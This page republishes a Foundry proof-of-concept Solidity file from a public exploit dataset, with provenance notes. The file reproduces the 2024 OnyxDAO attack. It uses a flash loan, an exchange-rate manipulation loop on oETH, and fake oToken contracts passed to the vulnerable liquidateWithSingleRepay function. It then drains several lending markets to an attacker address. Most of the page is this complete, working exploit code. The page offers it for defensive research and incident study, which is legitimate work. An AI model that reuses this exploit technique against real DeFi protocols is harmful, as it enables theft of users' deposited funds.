Skip to content
THREATWIRE

Public reproduction file

src/test/2024-09/OnyxDAO_exp.sol

Public reproduction file for dataset entry OnyxDAO.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-09/OnyxDAO_exp.sol339 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 4.1M VUSD, 7.35M XCN, 5K DAI, 0.23 WBTC, 50K USDT (>$3.8M USD)
8// Attacker : https://etherscan.io/address/0x680910cf5fc9969a25fd57e7896a14ff1e55f36b
9// Attack Contract :
10// - Main: https://etherscan.io/address/0xa57eda20be51ae07df3c8b92494c974a92cf8956
11// - Rate Manipulator: https://etherscan.io/address/0xae7d68b140ed075e382e0a01d6c67ac675afa223
12// - Fake oTokenRepay: https://etherscan.io/address/0x4f8b8c1b828147c1d6efc37c0326f4ac3e47d068
13// - Fake underlying: https://etherscan.io/address/0x3f100c9e9b9c575fe73461673f0770435575dc0e
14// - Fake oTokenCollateral: https://etherscan.io/address/0xad45812c62fcbc8d54d0cc82773e85a11f19a248
15// Vulnerable Contract : (NFTLiquidation) https://etherscan.io/address/0xf10bc5be84640236c71173d1809038af4ee19002
16// Attack Tx : https://etherscan.io/tx/0x46567c731c4f4f7e27c4ce591f0aebdeb2d9ae1038237a0134de7b13e63d8729
17// @Info
18// Vulnerable Contract Code : https://etherscan.io/address/0xf10bc5be84640236c71173d1809038af4ee19002#code
19// L671-678, liquidateWithSingleRepay() function
20// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
22// Contracts involved
23address constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
24address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
25address constant oETH = 0x2CCb7d00a9E10D0c3408B5EEfb67011aBfaCb075;
26address constant Unitroller = 0xcC53F8fF403824a350885A345ED4dA649e060369;
27address constant oXCN = 0xBD20ae088deE315ace2C08Add700775F461fEa64;
28address constant oDAI = 0xF3354d3e288CE599988e23f9ad814Ec1b004d74a;
29address constant oBTC = 0x7a89e16Cc48432917C948437AC1441b78D133A16;
30address constant oUSDT = 0x2C6650126B6E0749f977D280c98415ed05894711;
31address constant oVUSD = 0xeE894c051c402301bC19bE46c231D2a8E38b0451;
32address constant VUSD = 0x0BFFDD787C83235f6F0afa0Faed42061a4619B7a;
33address constant NFTLiquidationProxy = 0x323398DE3C35F96053D930d25FE8d92132F83d44;
34address constant uniV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
36address constant XCN = 0xA2cd3D43c775978A96BdBf12d733D5A1ED94fb18;
37address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
38address constant BTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
39address constant _USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
41contract OnyxDAO_exp is Test {
42 address attacker = makeAddr("attacker");
44 function setUp() public {
45 vm.createSelectFork("mainnet", 20_834_658 - 1);
46 }
48 function testPoC() public {
49 vm.startPrank(attacker);
50 AttackerC attackerC = new AttackerC();
52 // tx:
53 attackerC.attack();
55 console.log("Final balance in VUSD :", IERC20(VUSD).balanceOf(address(attacker)));
56 console.log("Final balance in XCN:", IERC20(XCN).balanceOf(address(attacker)));
57 console.log("Final balance in DAI:", IERC20(DAI).balanceOf(address(attacker)));
58 console.log("Final balance in WBTC:", IERC20(BTC).balanceOf(address(attacker)));
59 console.log("Final balance in USDT:", IERC20(_USDT).balanceOf(address(attacker)));
60 }
63contract AttackerC {
64 address attacker;
66 function attack() external {
67 attacker = msg.sender;
69 address[] memory tokens = new address[](1);
70 tokens[0] = weth;
71 uint256[] memory amounts = new uint256[](1);
72 amounts[0] = 2000 ether;
73 IFS(balancerVault).flashLoan( // L2
74 address(this),
75 tokens,
76 amounts,
77 hex"3030" // WHY????
78 );
79 }
81 function receiveFlashLoan(
82 address[] memory tokens,
83 uint256[] memory amounts,
84 uint256[] memory feeAmounts,
85 bytes memory userData
86 ) external {
87 uint256 balWETH = IERC20(weth).balanceOf(address(this)); // L7
89 IFS(weth).withdraw(balWETH); // L8
90 uint256 cashOETH1 = IFS(oETH).getCash(); // L11
91 IFS(oETH).mint{value: balWETH - 0.5 ether}(); // L12
93 address[] memory markets = IFS(Unitroller).getAllMarkets(); // L22
94 IFS(Unitroller).enterMarkets(markets); // L24 WHY?
96 uint256 cashOETH2 = IFS(oETH).getCash(); // L36
97 IFS(oETH).borrow(cashOETH1); // L37
98 // go to fallback
100 uint256 cash0 = IFS(oXCN).getCash(); // L201
101 IFS(oXCN).borrow(cash0); // L205
102 address underlying0 = IFS(oXCN).underlying(); // L381
103 IFS(underlying0).transfer(attacker, cash0); // L382
105 uint256 cash1 = IFS(oDAI).getCash(); // L384
106 IFS(oDAI).borrow(cash1); // L388
107 address underlying1 = IFS(oDAI).underlying(); // L564
108 IFS(underlying1).transfer(attacker, cash1); // L565
110 uint256 cash2 = IFS(oBTC).getCash(); // L567
111 IFS(oBTC).borrow(cash2); // L571
112 address underlying2 = IFS(oBTC).underlying(); // L747
113 IFS(underlying2).transfer(attacker, cash2); // L748
115 uint256 cash3 = IFS(oUSDT).getCash(); // L750
116 IFS(oUSDT).borrow(cash3); // L754
117 address underlying3 = IFS(oUSDT).underlying(); // L930
118 IUSDT(underlying3).transfer(attacker, cash3); // L931
120 (, uint256 liq,) = IFS(Unitroller).getAccountLiquidity(address(this)); // L933
122 address ChainlinkOracle = IFS(Unitroller).oracle(); // L1183
123 uint256 uPrice = IFS(ChainlinkOracle).getUnderlyingPrice(oVUSD); // L1185
124 IFS(oVUSD).borrow(liq / 1e12); // L1091
126 AttackerC2 attackerC2 = new AttackerC2();
127 payable(address(attackerC2)).transfer(0.5 ether);
128 attackerC2.attack();
130 address fake_underlying = address(new Fake_underlying());
131 address fake_oTokenCollateral = address(new Fake_oTokenCollateral());
132 address fake_oTokenRepay = address(new Fake_oTokenRepay(fake_underlying, address(this)));
134 IFS(VUSD).transfer(fake_oTokenRepay, 1); // L2313
136 IFS(NFTLiquidationProxy).liquidateWithSingleRepay( // L2316
137 payable(address(this)), fake_oTokenCollateral, fake_oTokenRepay, 4_764_735_291_322);
138 IFS(VUSD).approve(uniV3Router, 300_000_000_000);
140 IFS.ExactInputSingleParams memory input = IFS.ExactInputSingleParams( // L2712
141 VUSD, // address tokenIn;
142 weth, // address tokenOut;
143 3000, // uint24 fee;
144 address(this), // address recipient;
145 1_727_352_120, // uint256 deadline;
146 300_000_000_000, // uint256 amountIn;
147 0, // uint256 amountOutMinimum;
148 0 // uint160 sqrtPriceLimitX96;
149 );
151 IFS(uniV3Router).exactInputSingle(input); // L2712
153 IFS(weth).deposit{value: address(this).balance}(); // L2725
155 IFS(weth).transfer(balancerVault, 2000 ether); // L2727
157 uint256 BalVUSD = IFS(VUSD).balanceOf(address(this)); // L2729
159 IFS(VUSD).transfer(attacker, BalVUSD); // L2731
160 }
162 receive() external payable {}
165contract AttackerC2 {
166 function attack() external {
167 uint256 x = 215_227_348 + 1;
168 uint256 y = 330_454_691 + 10;
170 IFS _oETH = IFS(oETH);
171 _oETH.exchangeRateStored(); // view
172 oETH.call{value: x}("");
174 for (uint256 i; i < 54; i++) {
175 _oETH.exchangeRateStored(); // view
176 _oETH.redeemUnderlying(y);
177 _oETH.exchangeRateStored(); // view
178 oETH.call{value: x}("");
179 }
181 _oETH.exchangeRateStored(); // view
182 _oETH.redeemUnderlying(y);
183 payable(address(msg.sender)).transfer(address(this).balance);
184 }
186 receive() external payable {}
189contract Fake_oTokenRepay {
190 address fake_underlying;
191 address attackerC;
193 constructor(address _fake_underlying, address _attackerC) {
194 fake_underlying = _fake_underlying;
195 attackerC = _attackerC;
196 }
198 function borrowBalanceCurrent(
199 address
200 ) external returns (uint256) {
201 return 0;
202 }
204 function underlying() external view returns (address) {
205 return fake_underlying;
206 }
208 function liquidateBorrow(address, uint256, address) external returns (uint256) {
209 return 0;
210 }
212 function mint(
213 uint256
214 ) external returns (bool) {
215 return false;
216 }
218 function balanceOf(
219 address
220 ) external returns (uint256) {
221 return 0;
222 }
224 function transfer(address, uint256) external returns (bool) {
225 IFS(VUSD).approve(oVUSD, type(uint256).max); // L2477
226 IFS(oVUSD).liquidateBorrow(attackerC, 1, oETH); // L2480
227 uint256 bal_oETH = IFS(oETH).balanceOf(address(this)); // L2691
228 IFS(oETH).redeem(bal_oETH); // L2692
229 payable(attackerC).transfer(address(this).balance);
230 return true;
231 }
233 receive() external payable {}
236contract Fake_underlying {
237 function transferFrom(address, address, uint256) external returns (bool) {
238 return true;
239 }
241 function approve(address, uint256) external returns (bool) {
242 return true;
243 }
245 function transfer(address, uint256) external returns (bool) {
246 return true;
247 }
250contract Fake_oTokenCollateral {
251 function balanceOf(
252 address
253 ) external returns (uint256) {
254 return 0;
255 }
257 function underlying() external view returns (address) {
258 return address(this);
259 }
262interface IFS is IERC20 {
263 // balancerVault
264 function flashLoan(
265 address recipient,
266 address[] memory tokens,
267 uint256[] memory amounts,
268 bytes memory userData
269 ) external;
271 // WETH
272 function withdraw(
273 uint256 wad
274 ) external;
275 function deposit() external payable;
277 // OEther / OErc20Delegate
278 function getCash() external view returns (uint256);
279 function mint() external payable;
280 function borrow(
281 uint256 borrowAmount
282 ) external returns (uint256);
283 function underlying() external view returns (address);
284 function exchangeRateStored() external view returns (uint256);
285 function redeemUnderlying(
286 uint256 redeemAmount
287 ) external returns (uint256);
289 // Unitroller
290 function getAllMarkets() external view returns (address[] memory);
291 function enterMarkets(
292 address[] calldata oTokens
293 ) external returns (uint256[] memory);
294 function getAccountLiquidity(
295 address account
296 ) external view returns (uint256, uint256, uint256);
297 function oracle() external view returns (address);
299 // ChainlinkOracle
300 function getUnderlyingPrice(
301 address oToken
302 ) external view returns (uint256);
304 // NFTLiquidationProxy
305 function liquidateWithSingleRepay(
306 address payable borrower,
307 address oTokenCollateral,
308 address oTokenRepay,
309 uint256 repayAmount
310 ) external payable;
312 // Uniswap V3: SwapRouter
313 struct ExactInputSingleParams {
314 address tokenIn;
315 address tokenOut;
316 uint24 fee;
317 address recipient;
318 uint256 deadline;
319 uint256 amountIn;
320 uint256 amountOutMinimum;
321 uint160 sqrtPriceLimitX96;
322 }
324 function exactInputSingle(
325 ExactInputSingleParams calldata params
326 ) external payable returns (uint256 amountOut);
328 // oVUSD
329 function liquidateBorrow(
330 address borrower,
331 uint256 repayAmount,
332 address oTokenCollateral
333 ) external returns (uint256);
335 // oETH
336 function redeem(
337 uint256 redeemTokens
338 ) external returns (uint256);

Analysis

Dataset entry

Public Foundry test for “OnyxDAO” (2024-09-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x680910cf5fc9969a25fd57e7896a14ff1e55f36b

  • Attack Contract

    0xa57eda20be51ae07df3c8b92494c974a92cf8956

  • Vulnerable Contract

    0xf10bc5be84640236c71173d1809038af4ee19002

  • Attack Tx

    0x46567c731c4f4f7e27c4ce591f0aebdeb2d9ae1038237a0134de7b13e63d8729

File record

Name
OnyxDAO
Path
src/test/2024-09/OnyxDAO_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5eedbff4d7c202234a4f4eece14a3bff1ddd01f2
Language
Solidity
Size
340 lines
Date
2024-09-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-09/OnyxDAO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5eedbff4d7c202234a4f4eece14a3bff1ddd01f2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.